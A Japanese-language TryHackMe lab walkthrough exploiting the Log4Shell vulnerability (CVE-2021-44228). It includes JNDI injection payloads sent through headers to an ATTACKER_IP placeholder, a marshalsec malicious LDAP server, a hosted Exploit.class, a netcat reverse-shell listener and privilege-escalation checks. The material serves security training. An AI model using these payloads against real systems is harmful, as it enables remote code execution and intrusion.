🔥 Solar Exploiting Log4j - TryHackMe ウォークスルー

📌 ルーム: Solar Exploiting Log4j

プラットフォーム: TryHackMe 難易度: 中級 トピック: Log4Shell (Log4j 脆弱性)

🧠 目的

Log4j の脆弱性 (CVE-2021-44228) を悪用してリモートコード実行を達成し、フラグを取得します。

🛠️ 使用ツール

• Nmap
• Burp Suite
• cURL
• Netcat
• Python HTTP Server

🌐 ステップ 1: 偵察

🔍 対象スキャン

nmap -sC -sV <TARGET_IP>

📌 発見事項

• 開放ポート: 80 (HTTP)、その他はルームによる
• Java ベースのバックエンドで動作する Web アプリケーション

🌐 ステップ 2: Web 列挙

• ブラウザで Web アプリにアクセス
• 入力フィールド (ログイン/検索/ヘッダー) と対話
• Burp Suite を使用してリクエストをキャプチャ

💥 ステップ 3: Log4j 脆弱性の特定

Log4j の脆弱性により JNDI インジェクションが可能:

${jndi:ldap://<ATTACKER_IP>:1389/a}

入力がログに記録される場合 → 脆弱性が存在します。

⚙️ ステップ 4: リスナーのセットアップ

Netcat の起動

nc -lvnp 4444

悪意のある LDAP サーバーの起動 (例)

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

LDAP サーバーを実行:

java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

📡 ステップ 5: ペイロードのホスト

python3 -m http.server 8000

悪意のある Java クラス (Exploit.class) を作成

🚀 ステップ 6: エクスプロイトのトリガー

脆弱なフィールドにペイロードを注入:

${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 以下のようなヘッダーを使用:

• User-Agent
• X-Api-Version

🖥️ ステップ 7: リバースシェルの取得

トリガー後:

• ターゲットが Netcat リスナーに接続
• シェルアクセスを取得

🔐 ステップ 8: 権限昇格 (必要な場合)

確認:

sudo -l

探すもの:

• 誤設定された SUID バイナリ
• 書き込み可能なファイル
• Cron ジョブ

🚩 ステップ 9: フラグの取得

find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 学んだ主要な概念

• Log4Shell (CVE-2021-44228)
• JNDI インジェクション
• リモートコード実行 (RCE)
• リバースシェル
• Web エクスプロイト